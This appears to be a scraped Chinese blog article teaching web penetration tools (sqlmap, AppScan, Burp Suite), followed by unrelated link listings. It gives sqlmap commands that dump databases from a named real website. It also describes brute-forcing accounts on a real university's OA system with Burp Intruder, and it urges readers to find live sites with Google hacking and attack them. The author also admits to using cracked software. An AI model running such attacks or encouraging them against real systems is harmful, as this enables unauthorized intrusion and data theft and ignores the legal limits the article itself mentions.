    由图可见,扫描结果显示的是sql注入的漏洞,但是safe3这款工具误报性个人觉得是相当的高,笔者也很少使用,只是有时候拿来扫个后台地址而已。

    Sqlmap

    qlmap 作为一款强势的 sql 注入攻击工具,其功能性之强是其他 sql 注入工具所无法比拟的。如果要说缺陷,那就是众多的参数以及英文界面。

    sqlmap 是一款非常强大的开源 sql 自动化注入工具,可以用来检测和利用sql注入漏洞。它由 python 语言开发而成,因此运行需要安装 python 环境。

    我这里是 KaliLinux2.0 系统,已经集成了 sqlmap,所以 Windows 平台的朋友需要安装 Python 环境才能运行。检测注入点是否可用:

    这里需要用到参数:-u
    -u:指定注入点URL

    0?wx_fmt=png

    这里是在进行注入测试了,如果存在注入,那么应该返回该网站的应用程序详:

    0?wx_fmt=png

    这里返回了服务器系统2008 ,web 容器为 IIS7.5,脚本语言是 asp 的,数据库为 SQLserver 2005 版本。

    1. 列出该数据库中的所有数据库名称

    参数: —dbs

    0?wx_fmt=png

    0?wx_fmt=png

    上图所显示的就是我们在输入了 —dbs 参数后,sqlmap 列出的所有数据库,也叫做爆库。

    由于我 Kali 下开的 sqlmap 太多了,我又找不到那个命令窗口,就拿个新的网站来做接下来的例子。

    2. 列出当前程序所在的数据库

    参数:—current-db

    0?wx_fmt=png

    图中已经列出了当前应用程序所使用的数据库是“vps415”。列出指定数据库的所有表。

    sqlmap -u “http://www.hkmsedu.com/class.php?id=121“ -D vps415 —tables

    —tables 参数便是用来获取数据库表,-D参数为指定的数据库,结果如下:

    0?wx_fmt=png

    3.读取指定表中的数据

    sqlmap -u “http://www.hkmsedu.com/class.php?id=121“ -D vps415 -T book —columns

    参数为:—columns

    结果如下:

    0?wx_fmt=png

    4. 读取指定字段及内容

    0?wx_fmt=png

    参数为:-C 指定字段名称,-T指定表名,-D指定数据库名,—dump 为保存数据。

    Sqlmap 会把数据保存在文件夹下,已cvs文件后缀。

    0?wx_fmt=png

    到此,就已经完成了用 sqlmap 进行 sql 注入的一个完整过程,sqlmap 参数还有很多,如需深入了解,请自行查阅官方命令手册。

    APPscan

    APPscan 的界面如下,很简洁

    0?wx_fmt=png

    进入配置向导界面,如下所示。

    0?wx_fmt=png

    选择 WEB 扫描,同时他也可以扫描 Web Services,我们选一个 Web 站点进行扫描。

    0?wx_fmt=png

    然后一路回车即可。扫描专家建议就是一个建议程序,可开可不开。扫描过程如下:

    0?wx_fmt=png

    APPScan 的界面非常简单,左上角是基于 URL 的爬行参数,左下角仪表盘是总的安全报告。又侧则是风险详情信息。下面便是扫描结果,可以看到这个站已经存在 SQL 盲注以及 SQL 注入等网站安全问题。

    0?wx_fmt=png

    旁边可执行一些手动语句的测试来验证漏洞是否存在。以上漏洞可一个一个的去手动复现,到此,AppScan 就已经完成了一次自动化的扫描过程。

    Appscan 和 WVS 类似,不过是英文界面,所以我选了 AppScan 来做实例,并不是 WVS 不及 Appscan。

    重点来喽,作为一名渗透测试人员,Burpsuite 工具可以说是在众多工具中位列榜首可是神器呢,基本以后的安全测试之路都需要用这款工具去操作。所以学好 Burpsuite 的使用是非常重要的。

    Burpsuite

    有两个版本,一个是免费版,一个是Pro(Professional)版,相比只有一个功能差距,免费版不带扫描功能,Pro版则有扫描功能,但是,作为一个优秀的安全工具,Pro版则是太贵,我记得正版需要 2000 来块人民币(买不起),所以就自然有了破解版,我手中这款 1.7.11就是Pro破解版(羞耻)。

    0?wx_fmt=png

    首先,界面如上,功能模块包括 taeget、proxy、spider、Scaneer、intuder、Repeater 等模块。

    由于1.7.11版本字体设计有些许问题,所以下面用1.58版本展示。

    首先,选入“Options”模块,进入“Display” Display 模块,找到第二栏,“Http Message Display”,选择字体为“微软雅黑”,改这个设置的原因是,后面的 HTTP 请求消息如果中文可能会乱码。

    0?wx_fmt=png

    然后,进入“proxy”,遂“options”,第一栏,设置你的代理IP地址,因为他本质就是个浏览器操作后截获数据进行分析,需要用代理来。

    具体代理信息可以转到浏览器代理 IP 设置的方法。我这里以 Edge 为例。

    设置-高级设置-代理设置-打开代理设置即可。如下图:

    0?wx_fmt=png

    这个代理设置要和 burp 上的设置一样才能抓到HTTP响应哦~

    接下来,我们看 intercpt 功能,也就是最基础的功能,抓取当前页面的http请求。

    0?wx_fmt=png

    如果以上设置没有问题了,那么你应该会成功访问该目标地址,我这里测试的是“gitbook.cn”。

    访问的同时,我点击了 intercept is 模块  Is off Is on 分别关,开两种状态。我这里选择了on,那么这个页面的 HTTP 请求将被显示到 burp 中的这个模块下。

    0?wx_fmt=png

    上面就是显示的内容了,可以看出上面信息呢?请求来自http://gitbook.cn:80,开放了80端口,IP地址为[123.59.80.114.]。

    请求是GET的,协议是 http1.1 而不是 http2.0,http状态码是200,表示返回成功。请求页面是 http://gitbook.cn/。

    下面较为重要的信息就是 cookie 等登陆信息。通过对截获的http信息,一般就能看出一些安全问题。下面用实例+抓包请求信息来介绍,我经常用到的 intruder 模块使用。

    Intruder,字面解释为入侵者,解释完美的诠释了这个模块是多么的爆炸。案例诠释 Burp 的爆炸功能。

    我的测试目标是一所高校,拿到所在的域名之后,首先进行了扫描器的自动化扫描,并且我自己也开始进行手动测试,从该高校的官网,爬到了一处OA系统,OA系统为自主开发,并不是什么市面上的A8之类。

    0?wx_fmt=png

    访问到这个页面的时候,我的第一想法是,应该可以成功渗透。

    因为无验证码,无权限控制,这样也就提供了爆破的信息,爆破也就恰恰是我所要讲的 burp 中的 intruder 模块功能之一。

    随便输入账号密码后,我们来看看网页访问请求。

    0?wx_fmt=png

    可以看到,截获到的 http 请求页面如上,aspx(Asp、net)的脚本语言。

    0?wx_fmt=png

    账号和密码ID分别都是 6666,明文传输。我就很奇怪,为什么要很多涉及到登陆的网页,不肯做一点点加密?

    哪怕是 base64 编码后再传入也好啊。但事实就是这样,明文传输。

    0?wx_fmt=png

    我们右键,选择 Ctrl+R,发送到 Repeater 模块来分析登陆响应。点击左上角 GO 即可。

    0?wx_fmt=png

    在 params 模块下,可以更改你的输入参数,用于测试不同的参数会返回什么内容,但是需要每次修改后都点击 Go,用于测试。

    0?wx_fmt=png

    如上图,我修改了 txtuserld 为 admin password 保持了 6666 不变 点击 GO 后的结果。一串乱七八糟的,待会我们再提。

    回到 intercept 模块下,我们选择 Ctrl+I,发送到 intruder 模块下,进行猜解用户名和密码。

    0?wx_fmt=png

    上图所示,positions 模块下显示具体参数,标黄的(用黄色字体颜色显示出来的)都是变量参数,我们猜解用户名和密码则需要指定一些参数。

    右边的“clear”,则是清除所有参数,清除后会去掉所有变量(颜色),选中你需要的参数,然后选择“Add”就可以指定该参数为变量。

    我指定了用户名作为变量参数,其余不变。意味着 txtuserld:admin   txtpassword:123456  其中 userld 中的 admin 参数为变量。

    有的读者可能奇怪,为什么我这里要设置用户名为变量呢。

    因为考虑到我的测试目标是 OA 系统,OA 系统为多人办公系统,在线人数几百人。用户名不止一个 admin,如果选择 admin,可能会出错。

    所以我的思路是爆破他的账号,所以我选中了 admin 做变量,而不是爆破他的密码。相比之下去选择一批账号进行爆破,成功率远远比一个账号成功率高了太多。

    也要结合实际环境来测试,比如网站后台,只有一个 admin 管理员账号的情况下,显然我这种情况是不合适的。

    0?wx_fmt=png

    变量设置完毕后,选择 payloads,来进行字典的配置,payload Sets 就是攻击类型,有多重变量的情况下,可以选择。

    比如账号和密码都为变量,如果测试一个字典则不显得那么机智,需要字典在两个变量之间相互测试,就用到这个功能模块,这里我们不做测试,遂跳过,保持默认就好。

    在字典装好后,在这个模块的旁边有个options模块,这里用来更改类似于线程的参数。

    在第二栏有个 Request Engine 参数,这里第一栏是 Number of threads 默认是5。

    这个意思是,线程。默认5线程进行攻击,这个更改需要根据网站的配置和字典的数量,如果网站配置好,请往上加,如果不好,跑一跑就会跑坏,那么就默认。

    0?wx_fmt=png

    我设置的线程为50,设置完了后,就可以点击左上角的 intruder,选择第一个了。

    0?wx_fmt=png

    开始进行爆破,我这里导入的是弱账号 top500,通过几秒钟的碰撞后, length 的返回数字头中,包含了 2910-2973. 唯独出现了一个“liujuan”的 ID 返回了 3391 数字头。

    这个账号有点可疑,我们放到前面所讲的 Ctrl+R 中来分析一下。

    0?wx_fmt=png

    更改 uid 后,点击 Go,返回了 http 信息,如上图,基本可以判断这个账号就是正确的账号,已经成功爆破出来,为了验证猜想,我们使用该ID进入网页。

    0?wx_fmt=png

    如上图,测试已经成功,burpsuite 就是这么暴力的一个安全测试工具,这只是其中几个模块,真正玩的转的人,很少。

    个人觉得能玩转 burp 的所有功能,得花好几个月来专门学习 burp 这方面的资料,遗憾的是市面上还没有一本关于 burp 的工具书,如果有大神愿意写,那是自然最好的。

    通过以上学习,能基本掌握这几款工具的用法了,当然不能说之能成功渗透目标了,因为这只针对无访问控制,无验证码,存在弱口令的网站情况。

    通过案例学习,开发者也应该明白,怎样去做才能更加安全,为用户保驾护航。

    案例是哪个高校,我就直说了,属于云南大学主站,这个漏洞,我在80天前就已经提交给漏洞平台了,他们也整改了,今天写下这篇文章的时候是2017年11月1日22:11:05,我万万没想到,整改是指哪改哪的姿势。

    安全问题万万不可指哪改哪,我当时提交的另一个账号的弱口令,但是我明明确确的是写了属于逻辑漏洞,整改意见清清楚楚写上了“增加验证码效验机制防止爆破”。

    但他们只改掉了出问题的那个账户的密码……

    所以我很多时候不能理解厂商的态度,加个验证码效验如此简单的事情,非得让攻击重新发生一次。
    是不是一定要等用户数据泄露,企业等遭受致命打击才能明白信息安全的重要呢?

    白帽子的测试是否合法,边界在哪里?

    相信这是很多人都关心的问题,从白帽子袁炜的事件来说(该白帽子挖世纪佳缘的漏洞并通知该厂商后被世纪佳缘起诉),白帽子的的边界在哪?

    严格来讲,只要没有授权的测试,都是违法的,属于未授权访问,如果追究这罪名就可以吃。

    授权测试比如什么呢?漏洞平台的 SRC,比如京东,小米等 SRC 是鼓励白帽子挖洞提交的,确认后甚至会送你小礼物,这些厂商建立的 SRC 平台,是有些许合法授权的意思。(个人认为)

    白帽子做测试都应当遵守一个原则,点到为止,即:我只证明漏洞的存在,不会真正的实施破坏或者利用。未修复的漏洞,不应当公开其详情。所以我想厂商不会通过司法途径解决。

    但是,如果你在找到SQL注入点后,进行了数据修改读取并且下载到本地,这就是脱库行为,有这种行为,就触犯了边界,那么厂商可以报警了,并且你也存在犯罪行为。

    有时候,厂商也不必这么小气,不存在边界行为就不用报警,不要人家证明了你网站有漏洞后,你悄悄修复了,然后报警。

    网站有漏洞是好事,一般来说白帽子的检测并没有给厂商带来多大损失,入侵本身也没有明显恶意,还主动告知漏洞及修补方案,大多数通情达理的厂商都不会选择走法务。

    白帽子并不是一个人在战斗,随意抓人的后果可能会触怒其他白帽子,对厂商些许会带来相应损失。

    比如,挖到洞后不再提交,直接互联网匿名公开呢?送个小礼物表示一下是不是比冰冷手铐好太多了?

    找好边界,尤其重要。

    OWASP top10

    官方网址可以看这里:https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

    2017年的十大风险已经选出来了。分别是:

    1. 攻击注入漏洞

    2. 失效的身份认证和会话管理

    3. 跨站脚本 Xss

    4. 失效的访问控制

    5. 安全配置错误

    6. 敏感信息泄露

    7. 攻击检测与防范不足

    8. 跨站请求伪造(CSRF)

    9. 使用含有已知漏洞的组件

    10. 未受保护的 API。

    这些内容我就不贴出来了,我把官方的 PDF 文档发送到读者圈提供阅读理解。
    相信官方的解释也比我解释的更好。

    挖到洞该怎么办?

    很简单,0day 就刷一波积分,不是通用性就上交国家啦~

    练手靶机

    本地环境推荐使用DVWA进行模拟攻击操作练手,该系统包含了很多Web漏洞,便于复现。
    真实环境请用谷歌hack语法搜索网站程序进行实机攻击。

    个人推荐书单

    学安全务必啃书,书中的知识结合实战经验会让你了解的更彻底也更快。

    0?wx_fmt=png

    这是我目前在看的一系列丛书,要推荐大概就这些吧。《Web 安全深度剖析》是本好书,入门就靠这书带。《黑客攻防技术宝典 Web 实战篇第二版》也值得看,就是内容太多,歪果仁写的。

    接着就是道哥的《白帽子讲 Web 安全》啦~前端黑客可看余弦大大的 Web 前端黑客技术揭秘。双十一我自己入了 Python 和几套散文集。

    最后,需要用到以上工具的读者圈联系我,链接不放了。祝大家想往这条路上走的人越走越远。

    近期热文

    前端工程师“应试”指南

    如何用 Node.js 爬虫?

    两款敏捷工具,治好你碎片化交付硬伤

    改做人工智能之前,90%的人都没能给自己定位

    想入行 AI,别让那些技术培训坑了你...

    通知

    个人和企业的信息泄露到今天已经严重到了什么程度?

    严重到只要想查,就可以用各种社会工程学的方式来了解你的大部分信息。

    在网络环境里,如果不会用手段保护自己,那和“透明人”没什么两样。

    0?wx_fmt=jpeg

    「阅读原文」看交流实录,你想知道的都在这里

    展开全文
  • WEB渗透常见

    千次阅读 2017-09-06 22:27:51
    1.信息泄露 特殊页面 404、403、500等异常页面是否显示版本信息 ... 返回头中是否显示服务器版本等信息 ...对使用的cms系统版本信息是否明确显示,是否特征信息、页面未做自定义处理 ...在根目录下留存有开发、测试、运维...
  • Web完整渗透测试实例(windows)

    千次阅读 2019-09-03 11:58:22
    学习一整套的web渗透测试实验对以后的测试工作很有帮助,所以我把学习环境中的实现写下来,提供对整个网站测试的经验。 目的: (1)了解黑客是如何通过漏洞入侵网站,并获得服务器权限; (2)学习渗透测试完整...
  • web渗透测试常规套路

    万次阅读 多人点赞 2017-08-22 10:51:48
    注:文章首发自合天智汇微信公众平台0x01:本篇文章旨在给小白白们做一次有关web渗透的科普,其中涉及到的套路、工具可能在如今XX狗、XX盾当道的社会已不再适用,但是其中涉及的思想永远不会过时,其中的工具如菜刀...
  • web渗透—暴力破解

    千次阅读 2019-01-18 17:05:37
    二、暴力破解(信息收集确定端口打开)  2.1 MySql数据库爆破  2.1.1 Kali-Hydra  #hydra IP地址 -l 单个账户名 -P 字典... hydra 192.168.146.141 -l root -P /top1500.txt mysql -V  2.1.2 Kali-HexorBase...
  • Web完整渗透测试实例

    万次阅读 多人点赞 2018-10-10 09:24:52
    学习一整套的web渗透测试实验对以后的测试工作很有帮助,所以我把学习环境中的实现写下来,提供对整个网站测试的经验。 目的: (1)了解黑客是如何通过漏洞入侵网站,并获得服务器权限; (2)学习渗透测试完整...
  • 渗透获取webshell思路总结 又坐一天没动地方哈,但是感觉还是有一些没真整明白,也没总结的特别全面细致,今天先发出来,明天再花时间再整理一下,这个问题也是很多面试中常见问题,我认为值得花些时间来研究。 ...
  • 这个系列是拜读《Web安全攻防:渗透测试实战指南》之后的一些笔记和实践记录,感谢作者对我学习过程的帮助,这本书值得大家入手学习。 信息收集 1.获取真实IP 2.域名信息 1.Whois查询 Kali自带了Whois,但是...
  • 原书:Kali Linux Web Penetration Testing Cookbook译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 赞助我协议CC BY-NC-SA 4.0
  • web渗透测试

    千人学习 2019-06-25 11:35:51
    Web渗透测试教程,该课程侧重于讲解Web安全,并通过实验详细分析常见的十种Web漏洞、漏洞利用过程等。
  • WEB网站渗透测试方案

    千次阅读 2013-01-06 23:32:44
    WEB网站渗透测试方案 1 一、 Web网站渗透测试概述 1 1.1概述 2 1.2渗透测试对象 3 1.3现场安排 4 二、 Web网站渗透测试技术 4 2.1网络设备探测 4 2.2主机系统漏洞扫描 6 2.3Web平台安全性扫描 8 2.4数据库...
  • 最全渗透测试工具讲解

    千人学习 2019-06-25 11:17:04
    渗透测试工具详解视频教程,该课程分为三个部分,1、针对web扫描工具介绍,2、针对抓包工具介绍,3、针对信息探测介绍。...让小白测试人员在面对一个web系统时有一个基本的思路,方便后续深入学习web渗透
  • 常见渗透测试靶场系统

    万次阅读 2016-09-09 10:52:39
    DVWA (Dam Vulnerable Web Application) DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。 链接地址:http://www.dvwa.co.uk ...
  • 个人网络安全学习路线规划

    千次阅读 多人点赞 2018-10-27 20:22:19
    web安全知识学习 web安全基础知识 web安全漏洞及防御  企业web安全防护策略 第三阶段 渗透测试方法学习 渗透测试基础知识 渗透测试环境搭建 渗透测试工具使用 信息收集与社工技巧 we...
  • web渗透测试在线网站

    万次阅读 多人点赞 2018-06-21 16:29:14
    国外1、bWAPP免费和开源的web应用程序安全项目。它有助于安全爱好者及研究人员发现和防止web漏洞。地址:http://www.itsecgames.com/2、Damn Vulnerable iOS App (DVIA)DVIA是一个iOS安全的应用。它的主要目标给...
  • 搭建一个web渗透测试平台,对于学web渗透的初学者来说是一个不错的选择。(笔者也是一个初学者) 我看了网上前辈的环境搭建教程,都是基于XAMPP搭建,发现没有基于phpStudy。 phpStudy和XAMPP相比,phpStudy的功能更...
1 2 3 4 5 ... 20
收藏数 29,300
精华内容 11,720
关键字:

web渗透